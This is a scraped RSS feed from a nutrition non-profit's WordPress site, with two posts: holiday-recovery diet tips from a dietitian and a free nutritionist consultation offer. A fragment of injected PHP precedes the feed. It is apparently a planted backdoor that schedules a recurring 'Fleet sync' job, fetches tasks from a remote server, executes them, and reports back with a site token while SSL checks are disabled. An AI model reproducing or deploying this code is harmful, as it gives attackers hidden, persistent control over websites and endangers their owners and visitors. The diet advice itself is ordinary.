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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); New Year – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 07 Jan 2015 00:02:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp New Year – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Ways to Recover from Splurges https://skinnygeneprojectnew.dreamsites.io/ways-recover-splurges/ https://skinnygeneprojectnew.dreamsites.io/ways-recover-splurges/#respond Wed, 07 Jan 2015 00:02:04 +0000 http://skinnygeneproject.dreamhosters.com/?p=2337 By Rennie Aranda, Skinny Gene Registered Dietitian

You’ve opened all the presents, attended all the fun holiday parties, and recovered from the food comas. As the holidays wind down, so do the temptations of all the holiday goodies. Before the fatigue settles in from weeks of indulging in sugary, fatty desserts, skimping on fruits and vegetables, and skipping days at the gym, get back on track to healthier habits in the New Year with these tips:

New Year, Healthier You – Ways to Recover from Past-Holiday Splurges

Getting-Back-on-track
Photo:IndyMaxImpact

 

  • Positive mindset. A huge part of keeping our motivation up after the holidays is upholding a positive attitude. Instead of dwelling on any excess weight gained over the holidays or thinking of the foods you are trying to limit/restrict, focus on the good experiences you had during the holiday season and what you can eat for good health. This will help you stick to healthy habits and achieve the goals you’ve set.

 

  • Plan exercise time in advance. It is much easier to stick to an exercise regimen if you schedule ahead. Take it slow at first, and then gradually increase your time and/or intensity of the exercise in order to burn calories at a faster rate and build a healthy body. Always consult with your doctor first to make sure your exercise plan is right for you. Aim for at least 30 minutes of physical activity almost every day. Sign up for your favorite charity walk, buddy up, or use a pedometer to help keep up motivation.

 

  • Eat breakfast every day. Having a nutritious, fiber-rich breakfast helps give you more energy, leads you to make healthier choices throughout the day, and helps keep you full to prevent overeating at later meals. Try oatmeal with fruit, or half a whole wheat bagel with peanut butter to jump start your day.

 

  • Fill up on fruits and veggies. Fill half your plate with fruits and vegetables and you’ll feel fuller more quickly while cutting down on calories without feeling deprived. It is ideal to consume at least 5 fruit and vegetable servings a day (about 3 servings of vegetables and 2 servings of fruit). These vitamin-rich foods boost your fiber and antioxidant intake and help keep you from overeating. Replace an empty calorie beverage or snack (such as soda or chips) with a fruit or vegetable such as an orange or celery sticks. Spice up your fruit and vegetable snack with herbs and spices, or a low-fat dip instead of using butter and/or salt to flavor them.

 

  • Take it slow and be prepared for lapses. Trying to tackle every health resolution you’ve set for yourself all at once is a recipe for disaster. Spend a few weeks just trying to achieve one to two goals at a time. Add a couple more goals to your list as you establish new good habits. Permanent changes take time to implement so no need to rush them. No one is perfect. If you temporarily get sidetracked from your goals, don’t use it as an excuse to throw in the towel. Every day is a new chance to start over, so get right back to working towards a healthy lifestyle.
]]> https://skinnygeneprojectnew.dreamsites.io/ways-recover-splurges/feed/ 0 January’s FREE Program: Your Plan for Creating a Healthy New Year https://skinnygeneprojectnew.dreamsites.io/januarys-free-program-your-plan-creating-healthy-new-year/ https://skinnygeneprojectnew.dreamsites.io/januarys-free-program-your-plan-creating-healthy-new-year/#respond Wed, 09 Jan 2013 00:34:58 +0000 http://skinnygeneproject.dreamhosters.com/?p=1810

We want to help you kick off the New Year to a healthy start!

 

Happy New Year

When we got together to talk about what we could do to help you this New Year, we came across these interesting statistics.

It turns out that exercising more and losing weight are the top 2 and 3 most popular New Year’s resolutions (respectively). Unfortunately, studies show that 25% of resolutions are broken in the 1st week, and 46% of people have given up on their resolution by 6 months.

This means that despite our good intentions, we just aren’t able to get active and make healthier choices to lose the weight.

Why are people unable to achieve their goal? One main reason– the lack of a real plan!
Planning to do something is one thing; but actually putting together an executable process to ensure success, is another.

So, with YOU in mind, we created this…

 

A FREE phone consultation with a Nutritionist to discuss your plan for creating a healthier New Year!

During your FREE consultation, your Nutritionist will be interested in learning more about you, so that she can provide the best solutions to fit your specific needs.

Together you will discuss:

  • Past struggles and current obstacles that are preventing you from achieving successful weight loss now and in the future
  • Setting goals that will set you up for success vs. failure
  • Your current eating habits, to identify specific areas that should be addressed in your plan
  • How we can support you, such as: teaching you about nutrition, providing guidance and accountability, answering questions as they come up (as they inevitably do), and give you the confidence you need to succeed.

Based on the information you provide, you may also receive:

  • A Nutrition Assessment
  • Metabolism Boosting Menu plan for those hard to lose pounds
  • Suggested Grocery List
  • 10 Favorite Tips for achieving success
  • PLUS and extra gift, from us to you, to help you kick off a Healthy New Year 🙂

 

Book Your Appointment

Getting started couldn’t be easier! Simply follow these 2 steps:

  1. Click here to Book Your FREE Appointment
  2. Check your inbox for an email from your new Nutritionist with the subject line “Schedule Your Appointment”, and simply reply with the best time/date that fits your schedule!

 

Please keep in mind that the time you select is reserved for YOU. So, mark it on your calendar! After all, it could end up being the day you took the step to finally lose weight, live a healthy lifestyle, and regained your health.

How good of a deal is this?

Well, let’s just say that some Nutritionists charge $110 for a 30 min session. We’re a non-profit organization that is sincerely interested in seeing you lose weight and improve your health. We are offering this program for FREE in January, so that anyone who needs it can receive the guidance they need to regain their health in 2013.

So take advantage of our offer before you forget, and book your appointment now!

(Note: Since we are a non-profit, appointment availability may be limited. Appointments will be booked in the order in which they are received. We will do our best to accommodate your specific needs and availability.) 

We look forward to speaking with you!

-Skinny Gene Nutrition Team

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